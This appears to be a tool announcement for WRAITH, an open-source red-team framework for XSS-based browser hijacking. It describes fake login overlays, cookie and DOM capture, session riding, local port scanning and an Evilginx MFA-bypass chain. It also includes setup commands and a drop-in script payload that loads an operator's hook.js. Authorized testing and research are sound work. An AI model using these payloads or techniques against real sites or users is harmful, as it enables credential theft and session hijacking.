WRAITH: The Open‑Source Modern Replacement for BeEF Redefines Browser Hijacking

Remember the beloved yet aging BeEF framework that once dominated browser hijacking? The Arcanum team now open‑sources WRAITH, a next‑generation penetration‑testing tool that fuses classic BeEF workflows with modern blind‑XSS callback capabilities.

What Problem It Solves

Before WRAITH, red‑team operators typically used two separate tools:

BeEF (Browser Exploitation Framework) : provides interactive control but relies on outdated XHR polling and presents phishing overlays that look like decade‑old login pages.

Blind‑XSS frameworks (e.g., XSS Hunter, ezXSS) : capture screenshots, DOM, cookies after a payload triggers, but offer no real‑time interaction with the victim page.

WRAITH combines both: it retains BeEF‑style interactive sessions while adding blind‑XSS automatic data return within a single payload.

Core Features

2.1 Modern Phishing Overlay

Uses Shadow DOM to render a fake login dialog that visually matches the target site, applies a frosted‑glass blur to the background, and includes built‑in templates for LinkedIn, Facebook, and Microsoft/Office 365 with real two‑factor flows.

2.2 Page Capture (Blind‑XSS Return)

When a browser is hooked, WRAITH instantly records the source URL, Referrer, non‑HttpOnly cookies, full DOM, and a screenshot. If an HttpOnly cookie cannot be retrieved, the tool reports the failure reason.

2.3 Page Mirror (Interactive Session)

After a blind‑XSS payload fires in an admin backend, Page Mirror turns that backend into a live, interactive browser view. Operators can click links and navigate the application as if they were the victim, because all navigation is proxied through the victim’s browser session, including pages that require HttpOnly cookies.

2.4 Modern Local Port Scanning

Replaces BeEF’s obsolete LAN scanner with a precise 127.0.0.1 timing‑based scan using fetch‑timing and WebSocket‑timing algorithms, and clearly marks when modern browsers block LAN access.

2.5 Built‑in Lab Environment

Under the /lab path a deliberately vulnerable “support desk” system with a stored XSS flaw demonstrates the full attack chain: submit a malicious ticket → payload triggers while the agent views the queue → Page Mirror hijacks the agent’s session and extracts the vault.

Quick Deployment

WRAITH runs on Docker + Docker Compose and can be set up with a single command:

git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

The setup.sh script guides the user through:

Detecting public IP or entering a domain name

Setting console username and password

Generating a session‑signing key

Building and launching containers

Printing the operator console URL and a ready‑to‑use XSS payload

After startup the following endpoints are available:

Operator console : http://YOUR_IP:8090/operator/
Login page       : http://YOUR_IP:8090/login
Demo victim page : http://YOUR_IP:8090/demo/
Hook payload      : http://YOUR_IP:8090/hook.js

Drop‑in XSS payload:
"<script src=\"http://YOUR_IP:8090/hook.js\"></script>"

Technical Architecture Comparison

Communication : BeEF uses hook.js with XHR polling; WRAITH uses hook.js with WebSocket for reliable real‑time messaging.

Server Stack : BeEF runs on Ruby with a RESTful API; WRAITH runs on Node.js with the ws library.

Phishing Overlay : BeEF’s “Pretty Theft” is outdated; WRAITH employs a modern Shadow DOM overlay.

Port Scanning : BeEF’s LAN scanner is broken on modern browsers; WRAITH provides calibrated 127.0.0.1 timing scans.

Blind‑XSS Return : BeEF offers none; WRAITH adds Page Capture and Page Mirror.

Page Navigation : Absent in BeEF; WRAITH enables navigation by riding the victim’s session.

Relation to AiTM Phishing Frameworks

WRAITH’s overlay records user input but does not capture the full session or bypass MFA, unlike AiTM tools such as Evilginx or Modlishka that intercept the entire login flow, including MFA, and steal session cookies. WRAITH is intended for post‑code‑execution manipulation, while AiTM tools handle credential harvesting.

A typical attack chain using three tools:

Blind XSS discovers a vulnerability and delivers code execution.

WRAITH’s hook provides interactive session control.

Page Mirror lets the operator manipulate application functionality in real time.

If MFA bypass is needed, the victim can be redirected into an Evilginx flow.

Project Information

Source repository : https://github.com/Arcanum-Sec/wraith

License : see repository

Applicable scenarios : authorized penetration testing, security research, security education

Tech stack : Node.js + WebSocket + Docker

Status : early version, features still being refined